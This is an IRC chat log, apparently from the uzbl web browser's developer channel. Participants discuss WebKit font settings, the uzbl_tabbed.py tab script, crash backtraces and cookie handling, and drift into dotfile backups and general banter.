17:33 < ruskie> hmm why css to set fonts? iirc browser should provide one of those generic font names... i.e. monospace etc... but those should be settable in the browser?
17:33 < noisetonepause> ruskie: how?
17:33 < Dieterbe> lazzareth: it should work, yes
17:34 < Dieterbe> ruskie: dunno, i like stylesheets
17:34 < lazzareth> I'll have to give that a shot.
17:34 < Dieterbe> ruskie: if it's very easy to do it your way, then patch is welcome
17:34 < lazzareth> I'm not sure how well it will work with the "&" at the end of the spawn command though.
17:34 < lazzareth> I havent played with the subprocess' Popen functions much.
17:35 < ruskie> Dieterbe, well how do I tell uzbl to use FontA for when css requests a monospace font?
17:35 < Dieterbe> ruskie: it should work with specifying a custom stylesheet
17:36  * noisetonepause wishes the web didn't allow for custom fonts, or colours, or much of anything, to be honest
17:36 < lazzareth> .. mainly flash
17:36 < lazzareth> Praise HTML5
17:36 < ruskie> noisetonepause, I only wish flash, *light, air, js would go away
17:37  * ruskie looks if midori supports specifying fonts...
17:37 < noisetonepause> 99.9999% of what I want out of the web is the words
17:37 < noisetonepause> and i wouldn't want, say, my e-mail reader to make all sorts of assumptions about which fonts i want to use or how large
17:37 < ruskie> ow yeah and java applets
17:37 < noisetonepause> not sure why this web browser beast should get separate treatment
17:38 < alice|wl> u know what would be cool ... _? google.com?s=%
17:38 < alice|wl> so you could type a word and then decide wether to use it as an url or as searchterm ...
17:39 < ruskie> Dieterbe, midori supports specifying default font family and Fixed-width font family so I'm guessing it's not that hard
17:43 < ruskie> alice|wl, so make a script that asks you about what you want to do and do it that way ;)
17:48 < alice|wl> parameter expansion in the toolbar might do what I want ...
17:54 < noisetonepause> Dieterbe: it seems sites override my stylesheet rather than the other way around.
17:54 < Dieterbe> noisetonepause: hmmmm that's not so good
17:54 < Dieterbe> i haven't really tested it myself so much
17:54 < ruskie> hmm any way I can set window size in the config? maybe something like set geometry = XxY+q+k ?
17:55 < noisetonepause> Dieterbe: and you'd be surprised how many sites set the font colour to black, but leave the background unspecified...
17:55 < noisetonepause> this is frustrating when you use a browser like epiphany which (correctly) attempts to match pages to your desktop theme
17:56 < noisetonepause> black text on black background is very difficult to read!
17:57 < ruskie> from webkit sources: #WebKitWebSettings can be applied to a #WebKitWebView to control the to be used text encoding, color, font sizes, printing mode, script support, loading of images and various other things. and the fonts that can be set are: cursive, default, fantasy, monospace, sans_serif, serif
17:57 < ruskie> would be nice to get that in uzbl
17:59 < noisetonepause> hah, reddits comments doesn't specify a font colour but do specify the background colour
17:59 < ruskie> hmm lazzareth there a way to have gtk tabs display a color when loading|loaded_and_unfocused and basically default when selected?
18:00 < lazzareth> ruskie, Yes I believe. It will require some playing with however.
18:00 < ruskie> no prob
18:00 < ruskie> take as much time as needed ;)
18:00 < lazzareth> ruskie, But I dont currently have a way of telling if a page is loading or not
18:00 < ruskie> hmm
18:00 < lazzareth> There are no external variables I can grab afaik
18:00 < noisetonepause> nisbeth.dk/niklas/cssfail.png
18:01 < ruskie> what about loaded?
18:01 < Dieterbe> ruskie> from webkit sources: #WebKitWebSettings can be applied to a #WebKitWebView... <-- hey that's cool. so you can basically set defaults with one line of code (other then parsing config file etc).  feel free to file a feature request
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18:02 < ruskie> Dieterbe, I will
18:03 < Dieterbe> ruskie / lazzareth a variable that keeps track of page state (loading/loaded-but-not-viewed/loading-and-viewed) is something already for a long time on our todo. probably it's simple to implement but noone has done it yet
18:03 < ruskie> lazzareth, also consider replacing set window_size  with set window_geometry and take in normal X geometry strings XsizexYsize+Xposition+Yposition
18:03 < Dieterbe> imho this is the job for the WM
18:04 < lazzareth> I wont make geometry a default setting but I can & will allow command line options for getting geometry.
18:04 < lazzareth> 'setting
18:04 < ruskie> thanks
18:04 < ruskie> Dieterbe, yeah a lot of tilling WM users are that way
18:04  * Dieterbe off to drive home
18:04 < ruskie> but all other WM authors will just tell you let the app author fix it and add that
18:05 < Dieterbe> look into wmctrl and similar tools
18:05 < ruskie> so far each app I have supports it
18:05 < ruskie> if it doesn't I tend to not use such an app
18:05 < ruskie> nice to have uzbl_tabbed.py that supports it atleast ;)
18:10 < lazzareth> ruskie, After I finish support for custom user defined tablist_format & small_tablist_format 's I'll add command line options to uzbl_tabbed
18:11 < ruskie> sure
18:12 < lazzareth> ruskie, Any other feature requests?
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18:13 < ruskie> lazzareth, I'll let you know as I remember/think them up ;)
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18:16 < lazzareth> Dieterbe, Know if rob| has made any progress with expanding vars in non-print commands? and the setting of custom variables?
18:17 < lazzareth> I have some killer features in the works as soon as those enhancements are pushed through.
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18:22 < ruskie> hmm no way to set statusbar height?
18:23 < ruskie> or fonts though I take it those might be linked?
18:25 < lazzareth> Yeah i'm working on making use of monospace_size
18:28 < ruskie> well I would guess both family and size would fit in the same space
18:29 < ruskie> from webkit sources: #WebKitWebSettings can be applied to a #WebKitWebView to control the to be used text encoding, color, font sizes, printing mode, script support, loading of images and various other things.
18:29 < ruskie> ahh I know what feature is missing in tabbed
18:30 < ruskie> switch_to_new_tabs
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18:33 < ruskie> this is weird
18:33 < ruskie> if I use tabbed it crashes when it tries to open a page
18:33 < ruskie> but if I use normal it doesn't
18:35 < ruskie> the only diff: plain uzbl: command "(null)" not understood. ignoring.
18:35 < ruskie> tabbed: GLib-CRITICAL **: g_string_append: assertion `val != NULL' failed
18:43 < ruskie> w00t got a segfault
18:44 < uranther> segfault in what
18:44 < ruskie> uzbl
18:45 < ruskie> lazzareth's branch though
18:45 < uranther> hrm
18:45 < ruskie> semes to be random though
18:49 < cprussin> question crew: tabs, and how you manage them without builtin support (which is the way I like it)
18:49 < cprussin> I'm on dwm, and I'm finding it... difficult :)
18:50 < ruskie> try uzbl_tabbed.py ?
18:50 < jrick> cprussin: I'm on xmonad using it's tabbing support. it's not pretty, but it works
18:50 < ruskie> from lazzareth's branch
18:50 < lazzareth> Hold on ruskie, I'm checking it out.
18:52 < cprussin> speaking of which, any way to bind middle clicking on a link to opening a new instance to that url?
18:52 < uranther> cprussin, i think there is a javascript thing on the wiki to do that
18:53 < cprussin> ah okay
18:53  * cprussin needs to read the wiki more
18:53 < uranther> heh it has some nice stuff
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18:54 < cprussin> yes, I apologize
18:54 < uranther> no worries
18:55 < ruskie> lazzareth, I have a bt just need to pastebin it
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18:55 < ruskie> lazzareth, http://pastebin.com/m9f2be8d here's the bt
18:55 < uranther> ah i think i fixed that bug in my branch
18:56 < uranther> if you do :<enter> in uzbl
18:56 < uranther> it will crash
18:56 < ruskie> in this case I'm doing :o www.freshmeat.net<enter> -> crash
18:56 < uranther> sweet?
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18:57 < uranther> that should not happen
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19:05 < lazzareth> ruskie, The only difference between my uzbl.c and Dieterbe is 3-4 lines http://pastebin.com/d8806dd5
19:06 < uranther> well wait until my bug fixes are merged, since i think this is the same bug
19:06 < ruskie> does the backtrace help?
19:06 < lazzareth> And that's holizzs' modifications to make uzbl status bars style correctly in uzbl_tabbed
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19:30 < ruskie> hmm
19:31 < ruskie> if I want to add fresh config variables especially for things that are exported in WebKit settings? is it enough if I just copy paste a function rename it and change the setting to it(along with all the other references)?
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19:49 < ruskie> uranther, is there a lot in those bugfixes?
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19:50 < ruskie> woho
19:50 < ruskie> I think it's working
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19:54 < ruskie> hmm or not
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19:59 < uranther> ruskie, for that one, just one line
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20:00 < ruskie> which one?
20:01 < uranther> :<enter> one
20:01 < ruskie> I meant the fix
20:02 < uranther> oh
20:02 < uranther> you want the commit?
20:02 < ruskie> or just file line number and how it's supposed to look
20:02 < uranther> http://github.com/uranther/uzbl/commit/1e36bb39b48232b614194875ee410d0d2fd04d1d
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20:03 < uranther> so you were having it on entering a URL??
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20:09 < ruskie> yeah
20:10 < ruskie> http://pastebin.com/m632e6a35 <-- btw mind checking if this looks even remotely correct?
20:11 < uranther> looks like your output is being cutoff
20:11 < uranther> but looks ok to me
20:11 < ruskie> hmm yet it doesn't seem to work...
20:13 < ruskie> http://pastebin.com/m64bad08a <-- ahh here's the un-cut-off version
20:15 < uranther> did you check if webkit supports these parameters?
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20:16 < ruskie> that's where I got them from
20:16 < ruskie> http://pastebin.com/m4b96a250
20:16 < ruskie> here's a grep
20:16 < ruskie> unless I'm using the wrong ones
20:17 < ruskie> middefault-font-family=Pterra <-- and an example from midori/config which allows setting them
20:17 < ruskie> s/middef/def
20:18 < ruskie> unless there's something else that needs doing
20:18 < ruskie> I don't have a lot of C experience
20:18 < ruskie> so I'm more blindly stumbling here
20:21 < uranther> this looks right
20:21 < uranther> maybe it's being overwritten by your stylesheet
20:22 < uranther> or the font isn't being found
20:23 < ruskie> hmm
20:23 < ruskie> don't have a stylesheet
20:23 < ruskie> and tried it on my own site where I know I only use the generic names
20:23 < ruskie> and it works live on midori
20:30 < ruskie> O.o
20:30 < ruskie> IT DOES WORK!!!
20:30 < ruskie> time to check my stylesheet there
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20:34 < ruskie> I made it work yay
20:35 < ruskie> actually no changes needed but had to define all the defaults it seems
20:38 < ruskie> I think I know why I'm getting that segfault
20:39 < ruskie> I set my progress bar lenght to 64
20:39 < ruskie> I'm guessing I'm hitting some buffer overflow
20:39 < ruskie> hmm
20:39 < ruskie> or not
20:39  * ruskie does some more experiments
20:39 < ruskie> nope not it
20:41 < ruskie> guess it's not
20:42 < uranther> lol..
20:42 < ruskie> still get random segfaults
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20:48 < ruskie> Dieterbe, bug #62 for the font-family patch ;)
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23:59 < Majkhii> hi guys...is possible to bind uzbl homepage when i dont set an --uri?
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00:03 < Majkhii> oh ive got it :)
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00:37 < bob_f> I want to know how he did it.
00:37 < bob_f> I just have a shell script wrapper. Is there another way ?
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04:57 < lazzareth> OH SHIT!
05:02 < lazzareth> I'm using git to track my dot-files and I accidentally did a git reset in my home directory!
05:02 < jrm8005> lazzareth: was it a soft reset?
05:02 < jrm8005> or a git reset --hard?
05:03 < jrm8005> because it it was soft, you can get it back.
05:04 < lazzareth> I'm trying to figure out what it was
05:04 < lazzareth> I did it a while without realising
05:08 < lazzareth> Ahh, I see what I did # git pull origin experimental
05:08 < lazzareth> And its killed my .vimrc and ... what else? I cant find a way to find out.
05:09 < lazzareth> And the last commit I did in my home git was over 3 months ago
05:09 < uranther> :|
05:09 < lazzareth> SSIIIIIIIIIIGGGGGGGGGGGHHHHHHHHH
05:11 < lazzareth> I am really devastated right now.
05:12 < joyfulgirl> lazzareth: eek
05:15 < lazzareth> Can anyone pastebin their vimrc's I've lost my entire config (mostly geared to writing in python) and I would like to recover some goodies
05:19 < lazzareth> Is there a way I can "dump config" in vim? I've got some vim window's open right now with the old configs loaded
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05:24 < harlos>  :mkvimrc
05:24 < harlos> Save to current working dir.
05:27 < lazzareth> ^^ Just got that command.
05:27 < lazzareth> I'm just worried about the other configs I've edited in the last 3 months that might have been over-written also
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05:27 < lazzareth> How can I check which files my git is tracking?
05:38 < uranther> i use github as a repo for my dotfiles :/
05:39 < lazzareth> I should do the same
05:39 < lazzareth> But I'm throwing away my home repo (i'd forgotten I had it)
05:39 < lazzareth> And its caused more harm than good.
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06:41 < uranther> wut, git cannot revert a root commit
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07:09 < ruskie> good morrow all
07:24 < lazzareth> Morning.
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09:05 < ruskie> hmm kinda quiet around here
09:07 < Dieterbe> goooood moorning bitchiiiiiz
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09:07 < ruskie> lol
09:07 < Dieterbe> just realised it's already friday
09:08 < ruskie> yup yup
09:08 < mxey> :)
09:09 < Dieterbe> lazzareth> I'm using git to track my dot-files and I accidentally did a git reset in my home directory! <-- heh yeah. i once accidentially did 'svn revert *' in my ~ :P
09:10 < mxey> Maybe you should commit more often if it hurts so much to lose the uncomitted changes?
09:11 < lazzareth> mxey, I'm going to setup a cron to commit daily if there are any changes.
09:11  * mxey uses Git for /etc and ~/etc, but still has not committed himself to always commit directly.
09:11 < lazzareth> Dieterbe, I feel your pain.
09:11 < mxey> lazzareth: And how does that get you meaningful commit messages?
09:11 < ruskie> I only store parts here and there
09:12 < ruskie> never entire ~/
09:12 < lazzareth> mxey, It doesnt, it just means I will have it backed up.
09:12 < Dieterbe> lazzareth: actually it wasn't so bad.  at that point i committed daily :)
09:12 < ruskie> btw Dieterbe bug #62 ;) have fun ;)
09:12 < mxey> For just backup, rsnapshot makes more sense.
09:12 < Dieterbe> ruskie: it's on the todo list..
09:13  * mxey uses one seperate repo for each program's configuration.
09:13 < Dieterbe> heh
09:13 < mxey> XDG_CONFIG_HOME is fitting in nicely for me.
09:14 < Dieterbe> too bad there are still plenty of software that don't implement xdg, or implement it badly
09:14 < lazzareth> Dieterbe, Have you cherry-picked that fix for cookies.py yet?
09:14 < lazzareth> That way you can close #61
09:14 < mxey> Dieterbe: I use symlinks.
09:15 < mxey> I myself are not very fond of almost everything from freedesktop.org and that might get people to ignore the few good things they created. Like XDG.
09:15 < mxey> or libbsd.
09:15 < mxey> Which is extremly handy if the maintainer of your libc is a moron.
09:16 < ruskie> lol
09:16 < ruskie> I wonder if eglibc will be any better
09:17 < Dieterbe> lazzareth: not yet
09:17 < mxey> ruskie: No.
09:17 < Dieterbe> mxey: actually i'm still experimenting with what would be the correct way.  git submodules might fit nicely too
09:18 < mxey> Git Submodules are tied to a specific revision.
09:18 < ruskie> mxey, why not?
09:18 < mxey> AFAIR eglibc does not intend on including the OpenBSD string functions.
09:18 < mxey> They want to stay rather close to glibc.
09:18 < mxey> I am currently building on eglibc as a kind of hotfix for glibc, until I can find something good.
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09:19 < mxey> uclibc is problematic with ABI compatibility and does not support NPTL.
09:20 < Dieterbe> mxey: i still need to try them. i thought they look like a good option. IIRC it should be possible to just update the current clone + all submodules within
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12:08 < scj> so I guess that is a no regarding js configs
12:08 < Dieterbe> i think so. but now i see why
12:10 < scj> guess I'll have to bite the bullet and learn c :p
12:18 < ruskie> so I take it js as config is fail?
12:20 < scj> no, I just didn't convince them that it's a good idea
12:21 < Phillemann> Which Javascript engine did you want to use, anyway? :)
12:21 < Phillemann> Is there anything lightweight?
12:21 < scj> javascriptcore
12:22 < Phillemann> Ah, so you'd use something you already have
12:22 < scj> easiest that way. and javascriptcore is pretty bangin
12:22 < Dieterbe> scj: afaict all advantages js has (such as functions, variables in the config itself,..) break features of the config style we have now: the ability to just export and import the "state" of uzbl with commands, as the state is entirely inside uzbl
12:24 < Phillemann> I don't really see how converting from the current config file to Javascript would change anything at all (except add functionality)
12:24 < Phillemann> It's just a translation from one language to another for me...
12:24 < scj> Dieterbe: don't see why it would
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12:26 < holizz> I'm with some PyGTK people. I'm hacking on an uzbl clone written in Python ;)
12:27 < Dieterbe> :o
12:27 < ruskie> lol
12:27 < ruskie> good for you ;)
12:27 < Phillemann> holizz: Add tabs natively! :P
12:27 < ruskie> I'll stick to the current version
12:28 < holizz> Phillemann: I could. My intention is that you can customise it infinately using the config file.
12:29 < holizz> So maybe in future your .config/pyweb/rc.py will be longer than the app itself ;)
12:29 < bob_f> ruskie: Heh, I nearly told you off for lol-ing.
12:29 < bob_f> We have a no-lol policy in #python, so it's kind of a kneejerk reaction.
12:29 < ruskie> bob_f, you can try... doesn't really affect me ;)
12:29 < scj> !ruskie--
12:30 < ruskie> rofl
12:30 < ruskie> spoil sports
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12:30 < Dieterbe> bob_f: wait.. so you want to forbid people laughing? o_O
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12:31 < scj> out loud
12:31 < bob_f> Dieterbe: Naw, it's just a busy channel, so a whole line dedicated to "lol" is deemed unnecessary.
12:31 < bob_f> It's more a wrapper for "please try to use IRC lines efficiently".
12:31 < Dieterbe> right.
12:31 < Dieterbe> so,
12:31 < Dieterbe> you probably hate it
12:31 < Dieterbe> if we talk like this?
12:31 < Dieterbe> :)
12:31  * bob_f hisses.
12:31 < Dieterbe> me too btw
12:32 < bob_f> Yeah, it's a pain in the ass when someone shows up and says:
12:32 < bob_f> guys
12:32 < bob_f> i got a problem
12:32 < bob_f> lol
12:32 < Dieterbe> :)
12:32  * Dieterbe off for food
12:33 < ruskie> I tend to do some sane lenghts of lines but still tend to use short ones as well
12:33 < ruskie> short ones are easier to read
12:33 < madnificent> bob_f: you've got stumwm to be a pain in, no?
12:33 < Rodya> aside from not being able to lol, #python is the only programming irc channel on freenode that i've ever actually gotten useful help on, the rest were always bitches to me for no good reason
12:34 < scj> a programming language is only as good as pompous they act in the irc channel
12:34 < ruskie> lol
12:34 < ruskie> stop making me laugh
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12:35 < madnificent> Rodya: try #lisp, it is impressive
12:35 < bob_f> Rodya: Yeah, I've heard that from a few people. We're very pro-helping. Which sometimes upsets people, because we don't like helping them to do Bad Things. :)
12:36 < madnificent> Rodya: however, it can be a pita too, if you don't ask your question correctly...
12:36 < bob_f> madnificent: Yes, my ass-hattery is a concentrated beam focused at #stumpwm; I try to behave everywhere else. ;)
12:36 < bob_f> That's more a historical artifact than anything else though.
12:36 < Rodya> madnificent, if i ever get time to try my hand at lisp again i'll probably have to ask them for help >.>
12:37 < madnificent> bob_f: you could -perhaps-, just for the irritation of others, point that towards #xmonad :)
12:37 < Rodya> bob_f, i appreciate that, if i am going to learn to do something, i'd liket to learn to do it correctly
12:37 < madnificent> Rodya: feel free to msg me if you have problems with it
12:37 < Rodya> :)
12:37 < bob_f> madnificent: But then people show up and say "hey i hear the famous bob_f hangs out here" and I'll be all "hello how are you today" and they'll be disappointed and leave. :(
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12:38 < ruskie> famous? never heard of ya ;)
12:38 < madnificent> Rodya: leoarning correctly is something that's done in #lisp... I even learned to build up sentences that could hardly be interpreted differently... Sadly, beer destroys that
12:38 < madnificent> bob_f: :P
12:38 < bob_f> ruskie: I wrote bpython ! I made the music for the stumpwm screencast !
12:39 < bob_f> My fame may possibly also increase when I get soundbush.com launched to push my piano music.
12:39 < Rodya> madnificent, lol, speaking of beer, i just turned 21 today, so i shall learn these delicious methods of becoming incoherent
12:40 < Phillemann> Hehehe, a legal drinking age of 21 is so funny :>
12:40 < ruskie> bob_f, hmm nope... doesn't ring a bell
12:41  * bob_f sighs.
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12:50 < madnificent> Rodya: I think I was utterly drunk (as in: couldn't stand on my legs anymore) when I was 15 or so
12:51 < madnificent> Rodya: don't see why you shouldn't let youngsters drink, your body heals quicker when you're young (so watch out, you may feel really sick if you drink too much (but you'll notice it when drinking, if you can't feel much anymore, you're in for a headache))
12:52 < madnificent> oh, and besides my dull advice: congrats!
12:52 < Rodya> madnificent, aye, i think the drinking age is rather dumb here, but i also obeyed it lest i get one of my friends in trouble or the like
12:52 < Rodya> thanks =)
12:52 < madnificent> bad rules should be changed, instead of not being obeyed
12:52 < madnificent> it's like our speed limits in Belgium... rediculous... we should change them
12:53 < madnificent> but instead, we play a cat-and-mouse-game, in which I (the mouse) am winning so far, but its guaranteed to fail some time)
12:53 < Rodya> well, i have my priorities elsewhere on things that should be changed in america... we have rather pressing issues aside from the drinking age lol
12:55 < madnificent> Rodya: maybe, maybe not... people that don't think clearly, mixed with those that do, can result in very interesting theories and/or solutions...
12:56 < Rodya> true, but if we want our younger people to be useful, i think first we should try giving them an education system that isn't mostly retarded
12:58 < bob_f> Hm, if only there was a channel for discussing politics.
13:05 < madnificent> bob_f: politics == religious flamewars
13:05 < madnificent> Rodya: I didn't learn all too much in school either
13:08 < madnificent> "The world is too small for a liberal economy"
13:08 < madnificent> liberal being free, without regulation
13:09 < madnificent> better "The world is too small, to be a perfect market"
13:09 < madnificent> I think you can even stretch that to "Any world is too small, to only contain perfect markets"
13:11 < Rodya> madnificent, that's probably true, but then, in america, if a company isn't doing to well our government just buys it these days ~_~
13:13  * madnificent is a commie
13:14 < Rodya> do yo have awesome theme music?
13:16 < madnificent> why would I have that? I'm just a pain to bob_f
13:16 < Rodya> well, the commies in movies and games do >.>
13:17 < madnificent> LoL
13:18 < madnificent> I'm not your prototype commie, I'm a reformed one that should really write a book
13:19 < Rodya> if you make it exciting enough and first person someone might make it into a movie or game or both and then you'd have theme music! >.>
13:19 < madnificent> (in short: private initiative and democracy, are orthogonal to communism.  Therefore, you should include them)
13:19 < madnificent> Rodya: yeah! I should make a game about it!
13:19 < madnificent> that's like a bazilion times better
13:24 < ruskie> http://www.theregister.co.uk/2009/07/03/asteroids/ <-- perfect story line for hollywood ;)
13:27 < Rodya> who thought that was a good idea -_-
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13:31 < scj> how could it go wrong?
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14:17 < Dieterbe> 12:39:13 < bob_f> My fame may possibly also increase when I get soundbush.com <--- hihihi hehehe soundbush :')
14:22 < lazzareth_> I'm going to write a bot this week that keeps track of bugs on http://www.uzbl.org/bugs/ and announces a random one daily to the channel as a "focus issue" :D
14:23 < lazzareth_> That way the bug-tracker actually gets some love and theres a better user experience overall.
14:24 < ruskie> gah... each time i try to login to a site I forgot do go into insert mode
14:24 < ruskie> or I hit insert instead of i since I'm used to that
14:24 < ruskie> lazzareth_, why not just a plugin for whatever bot is around? I though it was suppy
14:25 < Dieterbe> not sure if this is a good idea at all
14:26 < ruskie> :)
14:27  * ruskie is happy he can set fonts now
14:29 < lazzareth_> Dieterbe, Dont like it?
14:30 < Dieterbe> that's correct
14:30  * lazzareth_ doesn't like making bad ideas : - (
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14:33 < ruskie> so fixup tabbed ;)
14:33 < lazzareth_> ruskie, All in good time. I've got paying clients waiting on my other projects first :P
14:33 < ruskie> add that open new in background... setup a midclick/ctrl+click/command to open in new tab and so on
14:33 < ruskie> ;)
14:34 < ruskie> need so see if there are any other interesting config options from webkit that would be nice to have
14:34 < Dieterbe> lazzareth_: btw tonight/tomorrow i should have enough time to play with your script and merge it in, and do a first alpha release with your script included
14:34 < lazzareth_> Dieterbe, <3
14:34 < ruskie> \o/ yay \o/
14:35 < lazzareth_> I'm actually making a few semantic/pedantic changes to it right now (just fixing some comments)
14:35 < ruskie> hmm maybe I'll be in the mood to finish my cookie handler
14:35 < ruskie> btw is it possible to run commands on shutdown?
14:36 < Dieterbe> ok.  i'll also put one of your screenshots on the frontpage at that point.  i'll use one of the ones you've already made, but if you've been working on new stuff maybe you could make a new screenshot that shows all nifty features at once (eg colored tabs etc)
14:36 < ruskie> or should I just write a wrapper script?
14:37 < lazzareth_> Dieterbe, http://www.uzbl.org/wiki/_detail/uzbl_tabbed2.png?id=uzbl_tabbed This is the best to go with imo, and besides showing off ugly (:P) native gtk tabs its got all the current features depicted.
14:38 < lazzareth_> Unless you would like it pointed at uzbl.org :P
14:38 < lazzareth_> Instead of wikipedia.org/wiki/Sausage
14:38 < ruskie> lol
14:38  * ruskie considers GTK+2 to have very nice widgets
14:39 < ruskie> atleast if used with anything other than the default theme
14:40 < Dieterbe> lazzareth_: yes the sausage is pretty funny :)
14:41 < Dieterbe> but i think the concept of vertical tabs is pretty cool too. maybe you could make another screenshot showing that off. then i'll post both ( or ruskie can make one, but make sure it looks pretty, because your fonts and such look quite ugly IIRC :P )
14:41 < lazzareth_> ruskie, Monospace baby.
14:42 < ruskie> Dieterbe, define looks nice
14:42 < ruskie> I have no prob generating a new one with whatever fonts you want
14:42 < ruskie> and not really... fonts are very nice ;)
14:42 < ruskie> want monospace fonts?
14:42 < Dieterbe> oh yeah, that would be neat. :)
14:43 < Dieterbe> i could also make a screeny my self but i'm too busy (lazy) for that
14:43 < ruskie> hmm what fonts does uzbl use for the statusbars? and how can they be changed? I want to use Aerial Mono which I really like
14:43 < lazzareth_> Dieterbe, In a later release I might even add the option to open two windows in the same notebook tab (just like in vim) for those of us without tiling window managers :)
14:43 < Dieterbe> i think gtk theme font by default, but can be overriden by status_template or whatever it was called
14:43 < ruskie> ahh
14:44 < ruskie> will have to look into that
14:44 < Dieterbe> lazzareth_: sounds like bloat to me but hey, it's your script
14:44 < ruskie> yeah feature creep ;)
14:44 < lazzareth_> Dieterbe, Well its very easy :D
14:45 < lazzareth_> Dieterbe, Better get the script now before its 5,000 lines
14:45 < Dieterbe> lazzareth_: go nuts then
14:45 < Dieterbe> yeah i know
14:45 < lazzareth_> :P
14:46 < lazzareth_> I'm currently looking for an option in http://www.pygtk.org/pygtk2reference/class-gtknotebook.html that tells the notebook to not switch to new tabs on opening. I thought I fixed the problem earlier but I mus have missed something
14:46 < ruskie> hmm was it even implemented? I thought you said you skipped that?
14:46 < ruskie> or something along those lines
14:47 < lazzareth_> ^^ I implemented it but didnt test it :P
14:47 < ruskie> ahhh
14:47 < ruskie> hmm is it possible to make insert switch to insert mode as well?
14:49 < Dieterbe> lazzareth_: oh btw, is all documentation on the wiki page? make sure everything is explained reasonably before your code hits the mainstream uzbl crowd ;)
14:50 < lazzareth_> Yeah thats what I am updating at the moment
14:50 < Dieterbe> good. very good:)
14:50  * ruskie contemplates making a spinner instead of recv
14:50 < lazzareth_> Dieterbe, You will also have to make sure you get the 2-3 line difference in my uzbl.c to get styling working correctly otherwise all status_bars will default to gtk default
14:51 < Dieterbe> lazzareth_: i assume i'll see that when i merge.. i hope your changes are not too invasize
14:52 < lazzareth_> Dieterbe, Not at all. Simple change out of 3 lines to take into account styling when in plugging mode
14:52 < lazzareth_> You can see the changes in a diff anyway to make sure
14:52 < Dieterbe> allright
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15:04 < teeps> Hi
15:04 < teeps> I'd just like to say that uzbl is freaking awesome. you guys are geniuses
15:04 < teeps> that is all
15:06 < Dieterbe> hehe
15:06 < Dieterbe> thanks
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15:09 < lazzareth_> Dieterbe, I've just discovered that uzbl_tabbed.py session restoration isnt working.
15:10 < lazzareth_> But I've fixed "dont switch to newly opened tabs"
15:10 < Dieterbe> is the latter configurbl?
15:11 < lazzareth_> Yeah
15:12 < Dieterbe> good
15:13 < Dieterbe> now don't go freaking out that not everything is perfect yet. it seems to be a really nice proof of concept that some people will find quite useful already. we'll probably receive some patches/input if it reaches more audience
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15:34 < lazzareth_> Fixed all issues :D
15:37 < Dieterbe> ...not !!
15:38 < Dieterbe> i give you 5000 euro if i cannot find a single small bug ;)
15:38 < lazzareth_> :P
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15:41 < lazzareth_> I just found another bug! When you are using the tablist and gtk_tabs at the same time the tablist lags behind by a tab change when you use the gtk tabs.
15:41 < lazzareth_> Not an issue if you use one at a time though.
15:44 < Dieterbe> wait.. what? can you do both at the same time/
15:44 < lazzareth_> Yeah! Of course
15:44 < Dieterbe> didn't know that
15:45 < lazzareth_> Easily done :P
15:45 < Dieterbe> you mean tabs "on top" + tabs at the side ?
15:45 < lazzareth_> Yeah
15:45 < lazzareth_> and or on the bottom
15:45 < lazzareth_> either or
15:45 < lazzareth_> you can have the tablist on the bottom and gtk tabs on the top
15:45 < lazzareth_> or both on the bottom
15:45 < lazzareth_> or one top one right
15:46 < lazzareth_> I've tried to make it as dynamic as possible.
15:46 < lazzareth_> While keeping a finger on its "bloat-ness".
15:47 < bob_f> I am finding it difficult to not recruit uzbl users. :)
15:48 < Dieterbe> there's no need to "recruit" people
15:52 < Dieterbe> lazzareth_: and do you see the same content in both?
15:52 < lazzareth_> Dieterbe, Yeah.
15:52 < lazzareth_> Obviously the gtk tabs arent coloured though.
15:52 < lazzareth_> (Though I found out thats possible)
15:52 < lazzareth_> Thats for the next release.
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15:58 < bob_f> Dieterbe: No, I don't mean it like that. I mean I find it difficult to not tell people about it and encourage them to use it.
15:58 < bob_f> The same way I encourage people to take up smoking, and other things that make your life better.
15:59 < Dieterbe> oh right. i didn't notice the 'not'
15:59 < bob_f> Oh !
16:00 < Dieterbe> bob_f: in that case, carry on :)
16:01 < bob_f> Hehe.
16:02 < bob_f> Dieterbe: Looks like there might be an uprising against uzbl ! http://www.saveie6.com/
16:03 < Rodya> lol 1120 people signed their petition
16:05 < Dieterbe> SaveIE6.com was put together as an April Fool’s joke
16:05 < Dieterbe> thank god !
16:05 < Rodya> it had to be something like that
16:07  * Dieterbe off
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16:09  * ruskie finally figured out what a session cookie means to him in uzbl... when the last uzbl instance terminates that cookie can be safely removed
16:11 < bct> is there really any value in session cookies when you're using a proper multi-user os?
16:19 < ruskie> yeah you keep being logged in no matter what instance you use ;)
16:20 < ruskie> atm I lose my login session if I open a link from a logged in instance in a new instance
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16:20 < bct> that's weird, you're using cookies.py?
16:21 < ruskie> atm I'm using nothing
16:21 < bct> oh, well that's why then.
16:21 < ruskie> cookies.py didn't excatly worked out as well
16:21 < bct> cookies are just being stored in memory.
16:22 < ruskie> I don't want to store them on disk until I have my own whitelist only handler ;)
16:22 < bct> all the cookie handlers that exist right now keep serving up session cookies forever.
16:22 < ruskie> yeah
16:22 < bct> a whitelist is pretty easy to add.
16:22 < ruskie> well I also don't want python or ruby to handle this... though I would prefer ruby
16:22 < ruskie> just plain shell
16:23 < ruskie> if I can I'll do it in a shell ;)
16:24 < ruskie> might even make it a daemon though that's really low on my priority
16:24 < bct> i suspect that would be slower because for any real text manipulation you need to spawn sed or awk
16:24 < scj> ...why?is it some sort of masochism?
16:24 < ruskie> scj, I'd ask the same of any language ;)
16:24 < ruskie> and shell is quite powerful ;)
16:24 < bct> you can do it in pure bash (i did before i rewroteit in ruby), but it's terrible
16:25 < bct> shell is not powerful at all.
16:25 < ruskie> it is
16:25 < bct> the other tools it can call are powerful.
16:25  * ruskie points to sorcery as a great example ;)
16:29 < scj> wether you call it powerful or not, a genral purpose language it aint
16:30 < ruskie> it's turing complete
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16:30 < scj> so is brainfuck
16:31 < Rodya> i had to write a brainfuck interpreter in assembly last semester -_-
16:32 < ruskie> holy crap... that was a close lightning bolt...
16:33 < scj> it is the gods smiting you and your perverse ways
16:33 < ruskie> rofl
16:35 < bct> writing an interpreter for bf doesn't sound too bad
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16:35 < bct> now if you had to write an interpreter for assembly in bf, *that* would be bad.
16:35 < Deepspawn> bct, indeed
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16:36 < Rodya> bct, if we had done that we could have skipped about half of that class since that one assignment would have covered most of it lol
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17:17 < Sekenre> are there any guides on how to use dmenu with uzbl? I saw it mentioned on the website but no actual examples?
17:21 < ruskie> check examples dir
17:21 < ruskie> in the code
17:21 < ruskie> tons of it there
17:21 < lazzareth_> Dieterbe, I've made the changes. Your free to grab it at any time. I'm going to send you a pull request.
17:22 < scj> Sekenre: wouldn't say tons, but check load_url_from_(history|bookmarks).sh
17:24 < Sekenre> ok thanks, I'll start there
17:26 < bob_f> ruskie: I signed it !
